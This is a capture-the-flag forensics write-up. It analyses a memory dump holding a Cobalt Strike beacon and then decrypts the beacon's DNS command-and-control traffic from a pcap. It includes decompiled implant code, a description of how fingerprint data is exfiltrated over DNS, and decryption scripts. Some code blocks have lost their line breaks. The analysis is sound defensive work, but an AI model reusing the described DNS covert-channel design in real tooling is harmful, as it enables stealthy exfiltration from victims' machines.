As the challenge's description says, we are given a pcap file, along with a memory dump. A first looks at the pcap file show a lot of traffic, and instead of going blindly, let's have a look on the dump file instead.
The dump file is a classic Minidump file, that opens nicely in WinDBG (I used WinDBG preview because it has a lot nicer interface). We can see there are two threads launched, both sleeping. So we have to analyze the backtrace of the threads to have a clue on what's going on.
The first thread seems to call SleepEx from ntupdate.exe directly, which can be legitimate. But, in the second thread, SleepEx is called from `0x0018ef06` which seem more suspicious. To understand what happens, let's dump ntupdate.exe (with `.writemem z:\ntupdate.mem 400000 L?004e000` WinDBG command, module size is `0x4e000` according to windbg's module view), and "unmap" the PE [with this](https://github.com/hasherezade/libpeconv/tree/master/pe_unmapper), yeah I was lazy to code my own tool.
After opening the "reconstructed" PE in IDA, the first thing we notice is the `%c%c%c%c%c%c%c%c%cMSSE-%d-server`, which indicates it seems to be a Cobalt Stike stager (and code really looks like this https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/). Good luck, the binary embeds the payload, which can be decrypted using this IDAPython script (don't judge my high quality variable naming):
```pythonsheep = []key = b"\x13\x4a\x5b\x22"for i in range(0x40000):    sheep.append(idaapi.get_byte(0x404008 + i) ^ key[i % 4])
f = open("/tmp/payload.dump", "wb")f.write(bytes(sheep))f.close()```
We get some garbage "headers", followed by a classic MZ header: after removing the garbage, we get a PE file that loads nicely in IDA, and we are lucky because it's that PE which is mapped in 0x180000 (the mysterious code in the second thread). So we can see that the sleep is called in a function that does DNS resolving.
A few moments later, after having analyzed a part of the implant, I figured that it contacted its C&C with DNS, and had several "handlers" for it: - if the requested name starts by "www.", the malware sends RSA-encrypted "fingerprint" of the machine to the C&C, along with an AES sesion key to talk to the server - if the requested name start directly by a random hex number, the bot queries orders from the C&C. The response is in a A DNS record and xored with "8.8.4.4" IP in big endian - If the requested name starts by "api.", the client first sends a A request to get the payload size (always xored by 8.8.4.4), and then issues TXT queries, and server replies with base64 data - If the request starts by "cdn.", then the first A request contains payload size, and further A requests the payload data xored by 8.8.4.4 (big endian DWORD) - There is also "www6." handler, which seem to be the same with cdn. but with AAAA records (IPv6 addresses are longer, so more data can be sent as response)```c    if ( (unsigned int)QueryCnCOrder(fetchOrderDns, &ip_obf) )      {        v15 = v12 ^ ntohl(ip_obf);        ip_obf = v15;        if ( v15 && (v15 & 0xFFFFFFF0) == 240 )        {          sub_18000EF14(v15);          v16 = ip_obf;          if ( (ip_obf & 1) != 0 )          {            exfiltrateData(v13, a1, (__int64)&encryptedFingerprint, encryptedFingerprintSize);            v16 = ip_obf;          }          if ( (v16 & 2) != 0 )          {            cncLen = get_encrypted_int(4u);            v18 = sendTxtRequest(a1, (char *)bufferFromServer, cncLen);          }          else if ( (v16 & 4) != 0 )          {            www6Len = get_encrypted_int(4u);            v18 = sendWww6Typ(a1, bufferFromServer, www6Len);          }          else          {            cdnLen = get_encrypted_int(4u);            v18 = sendCdnRequest(a1, bufferFromServer, cdnLen);          }          if ( v18 > 0 )          {            v21 = decryptResponse(bufferFromServer, v18);            if ( v21 > 0 )              doStuffWithResponse(bufferFromServer, (unsigned int)v21);          }        }```
Unfortunately, this data is encrypted by the AES session key, and since we only have the last part of the "fingerprint", we'll need to figure out where the AES key is generated/stored, and extract it from the dump with WinDBG. Before the "main" loop of DNS queries, some initialization function are quite interesting:```cvoid *__fastcall GrabInfo(GetInfoStruct *Src, unsigned int len){  DWORD CurrentProcessId; // ebx  DWORD TickCount; // eax  char someflags; // bl  HANDLE CurrentProcess; // rax  DWORD v8; // eax  unsigned int v9; // edi  __int64 pubKey; // rax  block_iterator a1; // [rsp+30h] [rbp-20h] BYREF  BYTE rand1[16]; // [rsp+40h] [rbp-10h] BYREF  __int16 a2; // [rsp+90h] [rbp+40h] BYREF  __int16 OEMCP; // [rsp+98h] [rbp+48h] BYREF
  a2 = GetACP();  OEMCP = GetOEMCP();  randomGenerator(rand1, 0x10u, 0i64);  aesCreateContext((__int64)rand1);  CurrentProcessId = GetCurrentProcessId();  TickCount = GetTickCount();
  /* some snipped useless stuff */
  /* construct the blob to be sent to the C&C */  make_block_iterator(&a1, Src, len);  packMem(&a1, rand1, 16);  packMem(&a1, &a2, 2);  packMem(&a1, &OEMCP, 2);  pack_int_bigendian(&a1, sessionRandIdentifier);  v8 = GetCurrentProcessId();  pack_int_bigendian(&a1, v8);  pack_short_bigendian(&a1, 0);  pack_char(&a1, someflags);  sub_180014750(&a1;;  v9 = set_buf(&a1;;  memset(&encryptedFingerprint, 0, 0x400ui64);  encryptedFingerprintSize = 128;  memmove(&encryptedFingerprint, Src, v9);
  /* decode pubkey and encrypt blob */  pubKey = cryptoshitFunc(7i64);  rsa_encrypt(pubKey, (int)Src, v9, (int)&encryptedFingerprint, (__int64)&encryptedFingerprintSize);  /* wipe cleartext blob */  return memset(Src, 0, v9);}```
We can see that a random 16-byte buffer is filled, which is then passed to a "aesCreateContext" function which does this:```c__int64 __fastcall aesCreateContext(__int64 a1){  __int64 result; // rax  __int128 hash[2]; // [rsp+30h] [rbp-28h] BYREF  unsigned int hashlen; // [rsp+68h] [rbp+10h] BYREF
  hashlen = 32;  addHashTable(&sha256_crypt_callback);  hashMethodIdx = lookup_hash_func("sha256");  if ( (unsigned int)call_hash_method(hashMethodIdx, a1, 0x10u, hash, &hashlen) )    exit(1);  aes_key = hash[0];  hmac_key = hash[1];  iv = *(_OWORD *)"abcdefghijklmnop";  constructCryptoTable(&aes_crypt_callback);  cryptoMethodIdx = lookup_crypto_func("aes");  result = aes_create_context((unsigned int *)&aes_key, 16, 0, aes_ctx);  if ( (_DWORD)result )    exit(1);  return result;}```While the initial seed is forever lost because stored as local var, the AES key and HMAC keys derived from SHA256 hash of the "initial seed" are stored in the .data section of the binary, making them "easy" to extract from the dump (just convert imagebase from 0x180000000 to 0x180000).
Now come the final part of the challenge, parsing the pcap and reconstructing and decrypting the traffic between the C&C and the bot. For this, I made this quick and dirty Python script using pcapy and ImPacket:
```python#!/usr/bin/python
import base64import structimport pcapyimport impacket.ImpactDecoder as Decodersimport impacket.ImpactPacket as Packetsfrom impacket.dns import DNSfrom Crypto.Cipher import AES
pattern = 0x08080404key = b"U\n\xe2\x988\xb3\xdc(X\rl\x0f\xf1\x96\xde\xb2\x0e3\xaf[\xf1\x9f\xe0\x16\x1e\x0b\xa9x\x00fp\xe8"
pcap = pcapy.open_offline("the_compromise/traffic.pcap")CLIENT_IP = '192.168.111.6'
def decrypt(data):    aeskey = key[0:16]    iv = b"abcdefghijklmnop"    aes = AES.new(aeskey, AES.MODE_CBC, iv)    return aes.decrypt(data[:-16])
def get_int_raw_resp(dns_resp: DNS):    data = dns_resp.get_body_as_string()     offset   = 0    qdcount = dns_resp.get_qdcount()    for _ in range(qdcount): # number of questions        offset, qname = dns_resp.parseCompressedMessage(data, offset)        qtype  = data[offset:offset+2]        offset  += 2        qclass = data[offset:offset+2]        offset  += 2        qtype  = struct.unpack("!H", qtype)[0]        qclass = struct.unpack("!H", qclass)[0]
    offset, _ = dns_resp.parseCompressedMessage(data, offset)    qtype  = data[offset:offset+2]    qtype  = struct.unpack("!H", qtype)[0]    offset  += 2
    qclass = data[offset:offset+2]    qclass = struct.unpack("!H", qclass)[0]    offset  += 2
    qttl_raw = data[offset:offset+4]    qttl = struct.unpack("!L", qttl_raw)[0]    offset  += 4
    qrdlength = data[offset:offset+2]    qrdlength = struct.unpack("!H", qrdlength)[0]    offset  += 2
    return qtype, data[offset:offset+qrdlength]
def get_next_dns_pkt():    ethernet_decoder = Decoders.EthDecoder()    ip_decoder = Decoders.IPDecoder()
    hdr = True    packets = 0
    while hdr is not None:        hdr, body = pcap.next()        eth = ethernet_decoder.decode(body)        if eth.get_ether_type() != Packets.IP.ethertype:            continue        ip = ip_decoder.decode(eth.get_data_as_string())        if CLIENT_IP not in [ip.get_ip_src(), ip.get_ip_dst()]:            continue        if ip.get_ip_p() != Packets.UDP.protocol:            continue        udp = ip_decoder.udp_decoder.decode(ip.get_data_as_string())        if udp.get_uh_dport() != 53 and udp.get_uh_sport() != 53:            continue        if b"thedarkestside\x03org" not in body:            continue        dns = DNS(udp.get_data_as_string())        if (dns.get_flags() & 0x8000) == 0:            continue        packets += 1        if packets < 2:            continue        yield (ip.get_ip_src(), ip.get_ip_dst(), dns)
pkts = get_next_dns_pkt()while True:    buffer = b""    (src, dst, dns) = next(pkts)    qry = dns.get_questions()[0]    qry_array = qry[0].split(b".")    if qry_array[0] == b"api":        # base64 sent information        type, rawdata = get_int_raw_resp(dns)        if type == 1:            buflen = struct.unpack("!L", rawdata)[0] ^ pattern        trunc = buflen        while buflen > 0:            src, dst, resp = next(pkts)            type, rawdata = get_int_raw_resp(resp)            rawdata = base64.b64decode(rawdata)            buflen -= len(rawdata)            buffer += rawdata        buffer = buffer[:trunc]        print(decrypt(buffer))    elif qry_array[0] == b"cdn":        type, rawdata = get_int_raw_resp(resp)        if type == 1:            buflen = struct.unpack("!L", rawdata)[0] ^ pattern            while len(buffer) < buflen:                src, dst, resp = next(pkts)                type, rawdata = get_int_raw_resp(resp)                buffer += rawdata            print(decrypt(buffer))    elif qry_array[0] == b"post":        alen = qry_array[1]        len_chunk = int(str(alen[1:], "ascii"), 16)        while len(buffer) < len_chunk:            (src, dst, dns) = next(pkts)            qry = dns.get_questions()[0]            qry_array = qry[0].split(b".")            num_chunks = qry_array[1][0]            num_chunks -= 0x30            buffer += bytes.fromhex(str(qry_array[1][1:], 'ascii'))            if num_chunks >= 2:                buffer += bytes.fromhex(str(qry_array[2], 'ascii'))            if num_chunks == 3:                buffer += bytes.fromhex(str(qry_array[3], 'ascii'))        print(decrypt(buffer))```
which gives us the flag: `CSR{Schro3dinger%%3quation_}`
Author: [supersnail](https://github.com/aaSSfxxx)